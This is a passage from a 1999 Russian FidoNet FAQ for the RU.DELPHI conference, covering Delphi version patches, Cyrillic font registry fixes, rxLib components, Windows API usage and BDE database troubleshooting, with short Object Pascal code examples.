Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24). Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathname. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 79 of 341 - 69 + 88 From : Alexey_Mahotkin 2:5020/433 27 Mar 99 12:06:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 922525582 18196 127.0.0.1 (27 Mar 1999 09:06:22 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 27 Mar 1999 09:06:22 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена третьим ServicePack'ом, который можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 80 of 341 - 71 + 89 From : Alexey_Mahotkin 2:5020/433 27 Mar 99 12:06:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 922525593 18199 127.0.0.1 (27 Mar 1999 09:06:33 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 27 Mar 1999 09:06:33 GMT Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 81 of 341 - 72 + 90 From : Alexey_Mahotkin 2:5020/433 27 Mar 99 12:06:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 922525604 18202 127.0.0.1 (27 Mar 1999 09:06:44 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 27 Mar 1999 09:06:44 GMT Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [23]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [24]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([25]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [26]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [27]http://www.signsoft.com/opengl. Информацию -- на [28]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [29]http://reality.sgi.com/mjk за примерами и [30]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. В Delphi 4 имеется пример Web-браузера на Delphi. (AL): Еще на [31]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [32]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [33]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [34]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [35]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [36]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [37]http://www.blinkinc.com, WWPack32 [38]http://kolos.uni.lodz.pl/warezak, NeoLite [39]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [40]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [41]http://www.iconbazaar.com _________________________________________________________________ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 82 of 341 - 65 + 91 From : Alexey_Mahotkin 2:5020/433 27 Mar 99 12:06:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 922525616 18205 127.0.0.1 (27 Mar 1999 09:06:56 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 27 Mar 1999 09:06:56 GMT Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 83 of 341 - 66 + 92 From : Alexey_Mahotkin 2:5020/433 27 Mar 99 12:07:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 922525628 18208 127.0.0.1 (27 Mar 1999 09:07:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 27 Mar 1999 09:07:08 GMT делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени 